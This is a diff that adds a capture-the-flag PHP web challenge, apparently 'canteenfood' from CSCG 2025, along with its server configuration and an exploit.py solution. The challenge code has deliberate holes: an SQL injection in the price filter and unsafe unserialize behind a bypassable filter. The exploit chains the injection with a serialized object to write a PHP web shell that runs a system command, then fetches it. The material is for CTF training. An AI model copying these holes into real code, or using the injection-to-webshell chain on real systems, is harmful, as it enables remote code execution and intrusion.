+    public static function getConnection() {
+        if (self::$db == null) {
+            self::$db = new Database();
+        }
+        return self::$db->connection;
+    }
+}
--- a/cscg25/web/canteenfood/challenge/Routing.php
+++ b/cscg25/web/canteenfood/challenge/Routing.php
@@ -0,0 +1,114 @@
+<?php
+// From makelarisjr & makelaris.
+class Routing 
+{
+    public $rts = [];
+
+    public function new($method, $route, $controller)
+    {
+        $r = [
+            'method' => $method,
+            'route'  => $route,
+        ];
+
+        if (is_callable($controller))
+        {
+            $r['controller']    = $controller;
+            $this->rts[]     = $r;
+        }
+        else if (strpos($controller, '@'))
+        {
+            $split      = explode('@', $controller);
+            $class      = $split[0];
+            $function   = $split[1];
+            
+            $r['controller'] = [
+                'class'     => $class,
+                'function'  => $function
+            ];
+            
+            $this->rts[] = $r;
+        }
+        else
+        {
+            throw new Exception('Invalid controller');
+        }
+    }
+
+    public function match()
+    {
+        foreach($this->rts as $route)
+        {
+            if ($this->_match_route($route['route']))
+            {
+                if ($route['method'] != $_SERVER['REQUEST_METHOD'])
+                {
+                    $this->abort(405);
+                }
+                $params = $this->getRouteParameters($route['route']);
+
+                if (is_array($route['controller']))
+                {
+                    $controller = $route['controller'];
+                    $class      = $controller['class'];
+                    $function   = $controller['function'];
+
+                    return (new $class)->$function($this,$params);
+                }
+                return $route['controller']($this,$params);
+            }
+        }
+
+        $this->abort(404);
+    }
+
+    public function _match_route($route)
+    {
+        $uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
+        $route = explode('/', $route);
+
+        if (count($uri) != count($route)) return false;
+
+        foreach ($route as $key => $value)
+        {
+            if ($uri[$key] != $value && $value != '{param}') return false;
+        }
+
+        return true;
+    }
+
+    public function getRouteParameters($route)
+    {
+        $params = [];
+        $uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
+        $route = explode('/', $route);
+
+        foreach ($route as $key => $value)
+        {
+            if ($uri[$key] == $value) continue;
+            if ($value == '{param}')
+            {
+                if ($uri[$key] == '')
+                {
+                    $this->abort(404);
+                }
+                $params[] = $uri[$key];
+            }
+        }
+
+        return $params;
+    }
+
+    public function abort($code)
+    {
+        http_response_code($code);
+        exit;
+    }
+
+    public function view($view, $data = [])
+    {
+        extract($data);
+        include __DIR__."/views/${view}.php";
+        exit;
+    }
+}
--- a/cscg25/web/canteenfood/challenge/assets/food.gif
+++ b/cscg25/web/canteenfood/challenge/assets/food.gif
--- a/cscg25/web/canteenfood/challenge/controllers/AdminController.php
+++ b/cscg25/web/canteenfood/challenge/controllers/AdminController.php
@@ -0,0 +1,14 @@
+<?php
+class AdminController
+{
+    public function admin($router)
+    {
+        if($_SESSION["admin"] === false) {
+            return $router->view('admin', ['logs' => "Only access allowed for canteen admin!!!"]);
+        } else {
+            $admin = new AdminModel("/logs.txt","");
+            return $router->view('admin', ['logs' => $admin->read_logs("/logs.txt")]);
+        }
+
+    }
+}
--- a/cscg25/web/canteenfood/challenge/controllers/CanteenController.php
+++ b/cscg25/web/canteenfood/challenge/controllers/CanteenController.php
@@ -0,0 +1,12 @@
+<?php
+class CanteenController
+{
+    public function index($router)
+    {
+        $food = new CanteenModel(0);
+        if(isset($_GET['price'])) {
+            return $router->view('index', ['food' => $food->filterFood($_GET['price'])]);
+        }
+        return $router->view('index', ['food' => $food->getFood()]);
+    }
+}
--- a/cscg25/web/canteenfood/challenge/index.php
+++ b/cscg25/web/canteenfood/challenge/index.php
@@ -0,0 +1,20 @@
+<?php 
+
+session_start();
+
+$_SESSION["admin"] = false;
+
+include_once "controllers/AdminController.php";
+include_once "controllers/CanteenController.php";
+include_once "models/AdminModel.php";
+include_once "models/CanteenModel.php";
+include_once "Routing.php";
+include_once "Database.php";
+
+$router = new Routing();
+$router->new('GET', '/', 'CanteenController@index');
+$router->new('GET', '/admin', 'AdminController@admin');
+
+$response = $router->match();
+
+die($response);
--- a/cscg25/web/canteenfood/challenge/models/AdminModel.php
+++ b/cscg25/web/canteenfood/challenge/models/AdminModel.php
@@ -0,0 +1,32 @@
+<?php
+
+if($_SESSION["admin"] === false){
+    return "You're not welcome. This part is only for canteen workers.";
+}
+
+
+class AdminModel {
+    public $filename;
+    public $logcontent;
+
+    public function __construct($filename, $content) {
+        $this->filename = $filename;
+        $this->logcontent = $content;
+        file_put_contents($filename, $content, FILE_APPEND);
+    }
+
+    public function __wakeup() {
+        new LogFile($this->filename, $this->logcontent);
+    }
+
+    public static function read_logs($log) {
+        $contents = file_get_contents($log);
+        return $contents;
+    }
+}
+
+class LogFile {
+    public function __construct($filename, $content) {
+        file_put_contents($filename, $content, FILE_APPEND);
+    }
+}
--- a/cscg25/web/canteenfood/challenge/models/CanteenModel.php
+++ b/cscg25/web/canteenfood/challenge/models/CanteenModel.php
@@ -0,0 +1,71 @@
+<?php
+class CanteenModel {
+
+
+    public function getFood() {
+        $log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
+        $logger = new AdminModel("/logs.txt", $log_entry);
+
+        $db = Database::getConnection();
+        $sql = "SELECT * FROM food";
+        if ($result = $db->query($sql)) {
+            $result_string = "";
+            while($obj = $result->fetch_object()){
+                if($obj->name !== '') {
+                    $result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
+                    $db->query("UPDATE food SET price = " . (rand(0, 100000) / 100) . " WHERE name = \"" . $obj->name. "\"");
+                }
+
+                if($obj->oldvalue !== '') {
+                    $dec_result = base64_decode($obj->oldvalue);
+                    if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
+                        return 'Not allowed';
+                    }
+                    $uns_result = unserialize($dec_result);
+                    $result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
+                    $new_value = [$uns_result[0], (rand(0, 100000) / 100)];
+                    $db->query("UPDATE food SET oldvalue = \"" . base64_encode(serialize($new_value)) . "\" WHERE oldvalue = \"" . $obj->oldvalue . "\"");
+                }
+            }
+            return $result_string;
+        }
+        return 'No food this week - we\'re closed';
+    }
+
+    public function filterFood($price_param) {
+        $log_entry = 'Access at: '. date('Y-m-d H:i:s') .   "<br>\n";
+        $logger = new AdminModel("../logs.txt", $log_entry);
+
+
+        $db = Database::getConnection();
+        $sql = "SELECT * FROM food where price < " . $price_param;
+        error_log(print_r($sql, true));
+        if ($result = $db->query($sql)) {
+            error_log(print_r($result, true));
+            $result_string = "";
+            while($obj = $result->fetch_object()){
+                if($obj->name !== '') {
+                    $result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
+                }
+
+                if($obj->oldvalue !== '') {
+                    $dec_result = base64_decode($obj->oldvalue);
+                    if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
+                        return 'Not allowed';
+                    }
+                    $uns_result = unserialize($dec_result);
+                    if ($uns_result[1] < $price_param) {
+                        $result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
+                    }
+                }
+            }
+
+            if($result_string === "") {
+                return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
+            }
+            return $result_string;
+        }
+
+        return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
+    }
+}
--- a/cscg25/web/canteenfood/challenge/static/css/main.css
+++ b/cscg25/web/canteenfood/challenge/static/css/main.css
@@ -0,0 +1,67 @@
+body  {
+  font-family: 'Press Start 2P', cursive;
+  min-width: 260px;
+  color: #000000;
+  text-align: center;
+  background-color: #006400;
+}
+
+.btn-block {
+  width: 93%;
+  display: inline-block;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.form-group {
+  margin-top: 55px !important;
+}
+
+#main {
+  margin: 30px auto;
+  padding: 15px;
+  border: 0px solid;
+  border-radius: 5px;
+  background: #556b2f;
+}
+
+#title {
+  display: inline-flex;
+}
+
+#title i {
+  color: #D34156;
+  font-size: 50px;
+  margin: 0px 40px;
+}
+#time {
+  color: #ff0a94;
+}
+
+h2 {
+  color: #000000;
+}
+
+img {
+  width: 550px;
+  margin-top: 1.4% !important;
+  height: 560px;
+  padding: 20px;
+  max-width: 100%;
+  display: block;
+  height: auto;
+  margin: auto;
+  object-fit: cover;
+  overflow: hidden;
+}
+
+img:hover {
+  animation: dance 1.6s;
+  animation-iteration-count: infinite;
+}
+
+.pulse{
+  animation: pound 0.84s infinite alternate;
+  -webkit-animation: pound 0.84s infinite alternate;
+}
--- a/cscg25/web/canteenfood/challenge/views/admin.php
+++ b/cscg25/web/canteenfood/challenge/views/admin.php
@@ -0,0 +1,16 @@
+<html>
+<head>
+  <meta name='author' content='poory'>
+  <meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
+  <title>Canteen Plan</title>
+  <link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
+  <link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
+  <link rel='stylesheet' href='/static/css/main.css' />
+  <link rel='preconnect' href='//fonts.gstatic.com'>
+  <link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
+  <link rel='icon' href='/assets/favicon.png' />
+</head>
+<body>
+<span id='logs'> <?= $logs ?></span>
+</body>
+</html>
--- a/cscg25/web/canteenfood/challenge/views/index.php
+++ b/cscg25/web/canteenfood/challenge/views/index.php
@@ -0,0 +1,36 @@
+<html>
+<head>
+  <meta name='author' content='poory'>
+  <meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
+  <title>Canteen Plan</title>
+  <link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
+  <link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
+  <link rel='stylesheet' href='/static/css/main.css' />
+  <link rel='preconnect' href='//fonts.gstatic.com'>
+  <link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
+</head>
+<body>
+  
+<a class='fas fa-heart pulse' href="/admin">admin</a>
+<div id='main' class='container'>
+  <h1 id='title'>
+    <i class='fas fa-heart pulse'></i> <b>Canteen Plan</b> <i class='fas fa-heart pulse'></i>
+  </h1>
+  <br>
+  <div id='img-div'>
+    <img id='image' src='/assets/food.gif' alt='yuuuuuuummy'> <!-- Not modified and taken from https://commons.wikimedia.org/wiki/File:Foods_-_Idil_Keysan_-_Wikimedia_Giphy_stickers_2019.gif . Thanks -->
+    <br>
+  </div>
+  <div id='searchfield'>
+  <form action="/" method="get">
+  <input type="search" id="site-search" placeholder="300" name="price" />
+  <button>Cheap Price Search</button>
+  </form>
+  </div>
+  <br>
+  <h2>Today we will satisfy you with:</h2> 
+  <br>
+  <span id='food'> <?= $food ?></span>
+</div>
+</body>
+</html>
--- a/cscg25/web/canteenfood/config/fpm.conf
+++ b/cscg25/web/canteenfood/config/fpm.conf
@@ -0,0 +1,20 @@
+[global]
+daemonize = no
+error_log = /dev/stderr
+log_level = notice
+
+[www]
+user = www
+group = www
+
+clear_env = On
+
+listen = /run/php-fpm.sock
+listen.owner = www
+listen.group = www
+
+pm = dynamic
+pm.max_children = 15
+pm.start_servers = 2
+pm.min_spare_servers = 1
+pm.max_spare_servers = 3
--- a/cscg25/web/canteenfood/config/mariadb.conf
+++ b/cscg25/web/canteenfood/config/mariadb.conf
@@ -0,0 +1,133 @@
+#
+# These groups are read by MariaDB server.
+# Use it for options that only the server (but not clients) should see
+#
+# See the examples of server my.cnf files in /usr/share/mysql
+
+# this is read by the standalone daemon and embedded servers
+[server]
+
+# this is only for the mysqld standalone daemon
+[mysqld]
+
+#
+# * Basic Settings
+#
+user                    = mysql
+pid-file                = /run/mysqld/mysqld.pid
+socket                  = /run/mysqld/mysqld.sock
+#port                   = 3306
+basedir                 = /usr
+datadir                 = /var/lib/mysql
+tmpdir                  = /tmp
+lc-messages-dir         = /usr/share/mysql
+#skip-external-locking
+
+# Instead of skip-networking the default is now to listen only on
+# localhost which is more compatible and is not less secure.
+bind-address            = 127.0.0.1
+
+#
+# * Fine Tuning
+#
+#key_buffer_size        = 16M
+#max_allowed_packet     = 16M
+#thread_stack           = 192K
+#thread_cache_size      = 8
+# This replaces the startup script and checks MyISAM tables if needed
+# the first time they are touched
+#myisam_recover_options = BACKUP
+#max_connections        = 100
+#table_cache            = 64
+#thread_concurrency     = 10
+
+#
+# * Query Cache Configuration
+#
+#query_cache_limit      = 1M
+query_cache_size        = 16M
+
+#
+# * Logging and Replication
+#
+# Both location gets rotated by the cronjob.
+# Be aware that this log type is a performance killer.
+# As of 5.1 you can enable the log at runtime!
+general_log_file       = /var/log/mysql/mysql.log
+general_log            = 1
+#
+# Error log - should be very few entries.
+#
+log_error = /var/log/mysql/error.log
+#
+# Enable the slow query log to see queries with especially long duration
+#slow_query_log_file    = /var/log/mysql/mariadb-slow.log
+#long_query_time        = 10
+#log_slow_rate_limit    = 1000
+#log_slow_verbosity     = query_plan
+#log-queries-not-using-indexes
+#
+# The following can be used as easy to replay backup logs or for replication.
+# note: if you are setting up a replication slave, see README.Debian about
+#       other settings you may need to change.
+#server-id              = 1
+#log_bin                = /var/log/mysql/mysql-bin.log
+expire_logs_days        = 10
+#max_binlog_size        = 100M
+#binlog_do_db           = include_database_name
+#binlog_ignore_db       = exclude_database_name
+
+#
+# * Security Features
+#
+# Read the manual, too, if you want chroot!
+#chroot = /var/lib/mysql/
+#
+# For generating SSL certificates you can use for example the GUI tool "tinyca".
+#
+#ssl-ca = /etc/mysql/cacert.pem
+#ssl-cert = /etc/mysql/server-cert.pem
+#ssl-key = /etc/mysql/server-key.pem
+#
+# Accept only connections using the latest and most secure TLS protocol version.
+# ..when MariaDB is compiled with OpenSSL:
+#ssl-cipher = TLSv1.2
+# ..when MariaDB is compiled with YaSSL (default in Debian):
+#ssl = on
+
+#
+# * Character sets
+#
+# MySQL/MariaDB default is Latin1, but in Debian we rather default to the full
+# utf8 4-byte character set. See also client.cnf
+#
+character-set-server  = utf8mb4
+collation-server      = utf8mb4_general_ci
+
+#
+# * InnoDB
+#
+# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
+# Read the manual for more InnoDB related options. There are many!
+
+#
+# * Unix socket authentication plugin is built-in since 10.0.22-6
+#
+# Needed so the root database user can authenticate without a password but
+# only when running as the unix root user.
+#
+# Also available for other users if required.
+# See https://mariadb.com/kb/en/unix_socket-authentication-plugin/
+
+# this is only for embedded server
+[embedded]
+
+# This group is only read by MariaDB servers, not by MySQL.
+# If you use the same .cnf file for MySQL and MariaDB,
+# you can put MariaDB-only options here
+[mariadb]
+
+# This group is only read by MariaDB-10.3 servers.
+# If you use the same .cnf file for MariaDB of different versions,
+# use this group for options that older servers don't understand
+[mariadb-10.3]
--- a/cscg25/web/canteenfood/config/nginx.conf
+++ b/cscg25/web/canteenfood/config/nginx.conf
@@ -0,0 +1,39 @@
+user www;
+pid /run/nginx.pid;
+error_log /dev/stderr info;
+
+events {
+    worker_connections 1024;
+}
+
+http {
+    server_tokens off;
+    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
+    access_log /dev/stdout docker;
+
+    charset utf-8;
+    keepalive_timeout 20s;
+    sendfile on;
+    tcp_nopush on;
+    client_max_body_size 1M;
+    include /etc/nginx/mime.types;
+
+    server {
+        listen 80;
+        server_name _;
+
+        index index.php;
+        root /www;
+
+        location / {
+            try_files $uri $uri/ /index.php?$query_string;
+            location ~ \.php$ {
+                try_files $uri =404;
+                fastcgi_pass unix:/run/php-fpm.sock;
+                fastcgi_index index.php;
+                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
+                include fastcgi_params;
+            }
+        }
+    }
+}
--- a/cscg25/web/canteenfood/config/supervisord.conf
+++ b/cscg25/web/canteenfood/config/supervisord.conf
@@ -0,0 +1,23 @@
+[supervisord]
+user=root
+nodaemon=true
+logfile=/dev/null
+logfile_maxbytes=0
+pidfile=/run/supervisord.pid
+
+[program:fpm]
+command=php-fpm7.1 -F
+autostart=true
+priority=1000
+stdout_logfile=/dev/stdout
+stdout_logfile_maxbytes=0
+stderr_logfile=/dev/stderr
+stderr_logfile_maxbytes=0
+
+[program:nginx]
+command=nginx -g 'daemon off;'
+autostart=true
+stdout_logfile=/dev/stdout
+stdout_logfile_maxbytes=0
+stderr_logfile=/dev/stderr
+stderr_logfile_maxbytes=0
--- a/cscg25/web/canteenfood/entrypoint.sh
+++ b/cscg25/web/canteenfood/entrypoint.sh
@@ -0,0 +1,42 @@
+#!/bin/bash
+
+chmod 600 /entrypoint.sh
+
+mkdir -p /run/mysqld
+chown -R mysql:mysql /run/mysqld
+mysql_install_db --user=mysql --ldata=/var/lib/mysql
+mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &
+
+while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done
+
+
+export DB_USER="user_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
+export DB_NAME="db_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
+
+mysql -u root << EOF
+CREATE DATABASE $DB_NAME;
+CREATE TABLE $DB_NAME.food (
+    id INT NOT NULL AUTO_INCREMENT,
+    name VARCHAR(255),
+    oldvalue VARCHAR(255),
+    price float,
+    PRIMARY KEY (id)
+);
+
+INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Spaghetti', '', 2.99);
+INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Burger', '', 100.99);
+INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Cookies', '', 22.30);
+INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Lasagna', '', 7.50);
+INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Schnitzel', '', 5000.99);
+INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('','YToyOntpOjA7czo1OiJQaXp6YSI7aToxO2Q6MC45OTt9', 0);
+
+CREATE USER '$DB_USER'@'%';
+GRANT SELECT, UPDATE ON *.* TO '$DB_USER'@'%';
+ALTER USER 'root'@'localhost' IDENTIFIED BY 'test123';
+FLUSH PRIVILEGES;
+
+EOF
+
+echo -e "fastcgi_param DB_NAME $DB_NAME;\nfastcgi_param DB_USER $DB_USER;\nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params
+
+/usr/bin/supervisord -c /etc/supervisord.conf
--- a/cscg25/web/canteenfood/exploit.py
+++ b/cscg25/web/canteenfood/exploit.py
@@ -0,0 +1,39 @@
+import requests
+from base64 import b64encode
+
+SITE_URL = "https://c3438387fc4b879a3ef7e4c9-80-canteenfood.challenge.cscg.live:1337/"
+
+malicious_site = """
+<html>
+<body>
+<h1><?= system("../../readflag"); ?><h1>
+</body>
+</html>
+"""
+
+
+def sql_injection_oldvalue(payload: str):
+    return f'2 UNION SELECT NULL as id, "" as name, "{payload}" as oldvalue, NULL as price'
+
+
+def arbitrary_append(filename, content):
+    php_object = f'O:+10:"AdminModel":2:{{s:8:"filename";s:{len(filename)}:"{filename}";s:10:"logcontent";s:{len(content)}:"{content}";}}'.encode('ascii')
+    encoded_php_object = b64encode(php_object).decode('ascii')
+    injection_string = sql_injection_oldvalue(encoded_php_object)
+    params = {'price': injection_string}
+    session.get(SITE_URL, params=params)
+
+def retrieve_flag(filepath: str):
+    response = session.get(SITE_URL + filepath)
+    if response.status_code == 200:
+        return response.text
+    else:
+        raise RuntimeError(f"Injected php script is not present at {filepath}")
+
+session = requests.Session()
+filepath = "views/injection.php"
+arbitrary_append(filepath, malicious_site)
+flag = retrieve_flag(filepath)
+
+print(flag)
+
--- a/cscg25/web/canteenfood/flag.txt
+++ b/cscg25/web/canteenfood/flag.txt
@@ -0,0 +1 @@
+dach2025{fakeflag}
--- a/cscg25/web/canteenfood/logs.txt
+++ b/cscg25/web/canteenfood/logs.txt
@@ -0,0 +1 @@
+--- Log File who accessed the canteen plan ---<br>
--- a/cscg25/web/canteenfood/readflag.c
+++ b/cscg25/web/canteenfood/readflag.c
@@ -0,0 +1,17 @@
+#include <stdio.h>
+
+int main(void) {
+  char flag[256] = {0};
+  FILE* fp = fopen("/flag.txt", "r");
+  if (!fp) {
+    perror("fopen");
+    return 1;
+  }
+  if (fread(flag, 1, 256, fp) < 0) {
+    perror("fread");
+    return 1;
+  }
+  puts(flag);
+  fclose(fp);
+  return 0;
+}
--- a/htb/.DS_Store
+++ b/htb/.DS_Store
				`@@ -0,0 +1 @@`
				`--- Log File who accessed the canteen plan ---<br>`